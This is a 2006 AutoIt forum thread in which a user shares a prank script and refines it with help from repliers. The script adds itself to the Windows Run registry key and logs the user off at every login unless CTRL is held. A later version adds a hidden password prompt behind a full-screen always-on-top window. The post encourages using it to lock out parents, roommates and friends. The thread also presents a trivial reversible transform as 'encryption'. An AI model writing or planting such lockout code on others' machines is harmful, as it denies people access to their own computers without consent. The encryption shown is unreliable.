jvanegmond Posted June 14, 2006 Posted June 14, 2006 (edited) Warning: Running this script will cause you not being abled to log into your PC. If you do want to login to your PC, then hold the --- CTRL ---- key when you are logging on or either starting up. When you forget it's the CTRL key: Just boot up in Safe-Mode. Have fun teasing your parents, roommates, little brother, friends, other relatives, or yourself. If Not @Compiled Then $Run = @AutoItExe & ' "' & @ScriptFullPath & '"' Else $Run = @ScriptFullPath EndIf RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "Block", "REG_SZ", $Run) If Not _IsPressed(11) Then Shutdown(0) Exit EndIf RegDelete("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "Block") ;Note: The following function is not my work. It is Scripted by ezzetabi and Jon and i, Manadar, Simply copied this from Misc.au3 which is freely downloadable from www.autoitscript.com Func _IsPressed($s_hexKey) Local $a_R = DllCall('user32.dll', "int", "GetAsyncKeyState", "int", '0x' & $s_hexKey) If Not @error And BitAND($a_R[0], 0x8000) = 0x8000 Then Return 1 Return 0 EndFunc[Edit] Script shortened, Thanks goes to JoshDB. Edited June 14, 2006 by Manadar github.com/jvanegmond
JoshDB Posted June 14, 2006 Posted June 14, 2006 For the beginning bit you could use @AutoItDir... Not sure if that's typed correctly, check the help file. Ha, I haven't been on these forums since... 2006, almost. Behold, my legacy signature:My AutoIt idol is Valuater. You know you love him, too.My Stuff: D&D AGoT Tools Suite
jvanegmond Posted June 19, 2006 Author Posted June 19, 2006 (edited) My girlfriend soon figured out how to bypass this system by holding Ctrl as it was designed. So i have built in a password function: Note: You will not visually be prompted to type in your password but when you press Alt + Tab you can see it is there. All you have to do is type your pre-defined password and press Enter. expandcollapse popupIf Not @Compiled Then $Run = @AutoItExe & ' "' & @ScriptFullPath & '"' Else $Run = @ScriptFullPath EndIf If RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Block", "Pass") = "" Then RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Block", "Pass", "REG_SZ", Encrypt(InputBox("Password?", "Set a password for this PC." & @LF & "Note that this is a one time event.", "", "*"))) EndIf RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "Block", "REG_SZ", $Run) If Not _IsPressed(11) Then Shutdown(0) Exit Else While 1 $GUI = GUICreate("", @DesktopWidth * 2, @DesktopHeight * 2, -100, -100) GUISetState() WinSetOnTop($GUI,"",1) $Pass = InputBox("Alert", "This computer needs a password", "" , "*") If $Pass = Decrypt(RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Block", "Pass")) Then ExitLoop EndIf WEnd EndIf RegDelete("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "Block") Func Encrypt($string) Local $return $chr = StringSplit($string, "") For $i = 1 to $chr[0] $n = Asc($chr[$i]) $n += 5 $n *= 2 $return &= $n & " " Next Return $return EndFunc Func Decrypt($string) Local $return $chr = StringSplit($string, " ") For $i = 1 to $chr[0] - 1 $chr[$i] /= 2 $chr[$i] -= 5 $chr[$i] = Chr($chr[$i]) $return &= $chr[$i] Next Return $return EndFunc ;Note: The following function is not my work. It is Scripted by ezzetabi and Jon and i, Manadar, Simply copied this from Misc.au3 which is freely downloadable from www.autoitscript.com Func _IsPressed($s_hexKey) Local $a_R = DllCall('user32.dll', "int", "GetAsyncKeyState", "int", '0x' & $s_hexKey) If Not @error And BitAND($a_R[0], 0x8000) = 0x8000 Then Return 1 Return 0 EndFunc [edit] I also built my own simple encryption system because i was bored. Edited June 19, 2006 by Manadar github.com/jvanegmond
Richard Robertson Posted June 19, 2006 Posted June 19, 2006 I don't know how that encryption system works. It doesn't make sense to me. Char is an integral type, why are you dividing by 1.2? I also don't understand writing to ...\Run\ and then deleting it. Why do you do that? That key is for running programs. When you write it, there is a tiny program loop and then you delete it. There is no time for it to do anything. In that span of time, it wouldn't even get written to the registry. It would sit in RAM in the registry cache.
jvanegmond Posted June 19, 2006 Author Posted June 19, 2006 (edited) I don't know how that encryption system works. It doesn't make sense to me. Char is an integral type, why are you dividing by 1.2? I also don't understand writing to ...\Run\ and then deleting it. Why do you do that? That key is for running programs. When you write it, there is a tiny program loop and then you delete it. There is no time for it to do anything. In that span of time, it wouldn't even get written to the registry. It would sit in RAM in the registry cache. Look at this like a machine: Line by line. Let me explain. The encryption system turns a character into a number and then does some sort of math on it (The math realy doesn't matter at All. So i just did something random). So, if you ask me why am i dividing by 1.2? Because I can. Next up, when you run the script, you want it to run every time a user logs in, so you're right about that. But if the Ctrl key isn't pressed it logs the users off and ends the script, so it never actually reaches the line where it says deletion. However, if you have the ctrl key pressed you have to enter your password, whereas the booting of the script on startup should stop. So to make it more clearly you could also see it like this: While 1 $GUI = GUICreate("", @DesktopWidth * 2, @DesktopHeight * 2, -100, -100) GUISetState() WinSetOnTop($GUI,"",1) $Pass = InputBox("Alert", "This computer needs a password", "" , "*") If $Pass = Decrypt(RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Block", "Pass")) Then ExitLoop EndIf WEnd RegDelete("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "Block") EndIf I hope this makes sense to you. Edited June 19, 2006 by Manadar github.com/jvanegmond
Valik Posted June 19, 2006 Posted June 19, 2006 (edited) I suggest you use Google with the three terms: floating point error. After reading up on that, you should re-think doing anything with floating point numbers other than floating point math.Edit: Clarity. Edited June 19, 2006 by Valik
jvanegmond Posted June 19, 2006 Author Posted June 19, 2006 I suggest you use Google with the three terms: floating point error. After reading up on that, you should re-think doing anything with floating point numbers other than floating point math.Edit: Clarity.Wow... I had no idea.I replaced /= 1.2 by /= 2 also with *= 1.2 github.com/jvanegmond
jzn2 Posted September 20, 2006 Posted September 20, 2006 i havnt found a way to uninstall said script without uninstalling autoit nor could i figure out how to actually oporate it... i give the idea of the script a big thumbs up tho
jvanegmond Posted September 21, 2006 Author Posted September 21, 2006 Start the script. You get blocked. Log into your computer, you get thrown out repeatedly. When you press CTRL on startup, the sequence is interupted and exited. github.com/jvanegmond
jvanegmond Posted September 21, 2006 Author Posted September 21, 2006 Logging in your user account. github.com/jvanegmond
jzn2 Posted September 21, 2006 Posted September 21, 2006 well the password thing is still a bit buggy
jvanegmond Posted September 21, 2006 Author Posted September 21, 2006 Yea, I think it would be a better idea to delete the password-part altogether and not prompt for a password. github.com/jvanegmond
Ghastly_MIB Posted September 21, 2006 Posted September 21, 2006 Write your value in RunOnce. Not in Run. But your should rewrite your program location back becouse it deletes the value after it starts. Runonce starts before all te other programs
jvanegmond Posted September 21, 2006 Author Posted September 21, 2006 Thanks for the advise. github.com/jvanegmond
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now